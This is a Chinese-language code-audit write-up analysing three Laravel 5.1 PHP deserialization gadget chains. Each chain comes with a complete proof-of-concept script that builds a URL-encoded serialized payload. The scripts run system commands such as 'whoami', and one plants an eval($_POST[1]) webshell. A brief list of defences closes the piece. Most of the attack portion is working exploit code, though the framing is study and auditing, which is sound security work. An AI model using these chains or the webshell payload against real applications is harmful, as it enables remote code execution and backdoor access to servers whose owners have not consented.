laravel5.1反序列化-代码审计学习
字数 973 2025-08-27 12:33:23
Laravel 5.1 反序列化漏洞分析与利用
0x00 环境准备
使用Composer创建Laravel 5.1环境:
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
0x01 反序列化漏洞分析
漏洞入口点
漏洞利用链从WindowsPipes类的__destruct方法开始:
namespace Symfony\Component\Process\Pipes;
class WindowsPipes {
private $files = array();
public function __destruct() {
$this->removeFiles();
}
private function removeFiles() {
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
}
}
RCE1 - 通过View类的__toString方法
-
调用链:
WindowsPipes::__destruct()->removeFiles()- 触发
View::__toString() View::render()View::renderContent()$this->factory->incrementRender()(调用任意类的__call方法)
-
利用
ValidGenerator类的__call方法:
namespace Faker;
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __call($name, $arguments) {
$res = call_user_func_array(array($this->generator, $name), $arguments);
if ($this->validator) {
call_user_func($this->validator, $res);
}
return $res;
}
}
- 完整POC:
<?php
namespace Faker;
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default='whoami';
}
}
namespace Faker;
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct(){
$this->maxRetries=1;
$this->validator='system';
$this->generator=new DefaultGenerator;
}
}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
protected $factory;
public function __construct(){
$this->factory=new ValidGenerator;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
RCE2 - 通过DatabaseManager类的__call方法
-
调用链:
DatabaseManager::__call()DatabaseManager::connection()DatabaseManager::makeConnection()call_user_func($this->extensions[$name], $config)
-
关键代码:
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function connection($name = null) {
list($name, $type) = $this->parseConnectionName($name);
if (!isset($this->connections[$name])) {
$connection = $this->makeConnection($name);
$this->connections[$name] = $this->prepare($connection);
}
return $this->connections[$name];
}
protected function makeConnection($name) {
$config = $this->getConfig($name);
if (isset($this->extensions[$name])) {
return call_user_func($this->extensions[$name], $config);
}
// ...
}
}
- 完整POC:
<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['whoami']='call_user_func';
$this->app['config']['database.connections']=['whoami'=>'system'];
$this->app['config']['database.default'] = 'whoami';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
RCE3 - 通过Validator类的__call方法
-
调用链:
Validator::__call()Validator::callExtension()Validator::callClassBasedExtension()EvalLoader::load()eval($definition->getCode())
-
关键代码:
namespace Illuminate\Validation;
class Validator{
protected $extensions = [];
protected $container;
public function __call($method, $parameters) {
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
// ...
}
protected function callExtension($rule, $parameters) {
$callback = $this->extensions[$rule];
if (is_string($callback)) {
return $this->callClassBasedExtension($callback, $rule, $parameters);
}
// ...
}
protected function callClassBasedExtension($callback, $rule, $parameters) {
list($class, $method) = Str::parseCallback($callback, '@');
return call_user_func_array(
[$this->container->make($class), $method], $parameters
);
}
}
namespace Mockery\Loader;
class EvalLoader{
public function load(MockDefinition $definition) {
if (class_exists($definition->getClassName(), false)) {
return;
}
eval($definition->getCode());
}
}
- 完整POC:
<?php
namespace Mockery\Loader;
class EvalLoader{}
namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
public $default;
public function __construct(){
$this->default=new EvalLoader;
}
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
protected $extensions = [];
protected $container;
public function __construct(){
$this->extensions['y']='huahua@load';
$this->container=new DefaultGenerator;
}
}
namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
protected $config;
public function __construct(){
$this->config=new DefaultGenerator;
$this->config->default='huahua';
$this->code='<?php eval($_POST[1]);';
}
}
namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
private $util;
private $value;
public function __construct(){
$this->util=new Validator;
$this->value=new MockDefinition;
}
}
namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new ObjectStateToken());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
防御措施
- 升级到最新版本的Laravel框架
- 避免反序列化用户可控的数据
- 使用白名单机制限制反序列化的类
- 实现
__wakeup()或__destruct()方法的安全检查
总结
本文分析了Laravel 5.1中的三个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行。这些漏洞的核心在于Laravel框架中多个类的魔术方法(__destruct, __toString, __call)的不安全使用,以及PHP反序列化机制的特性。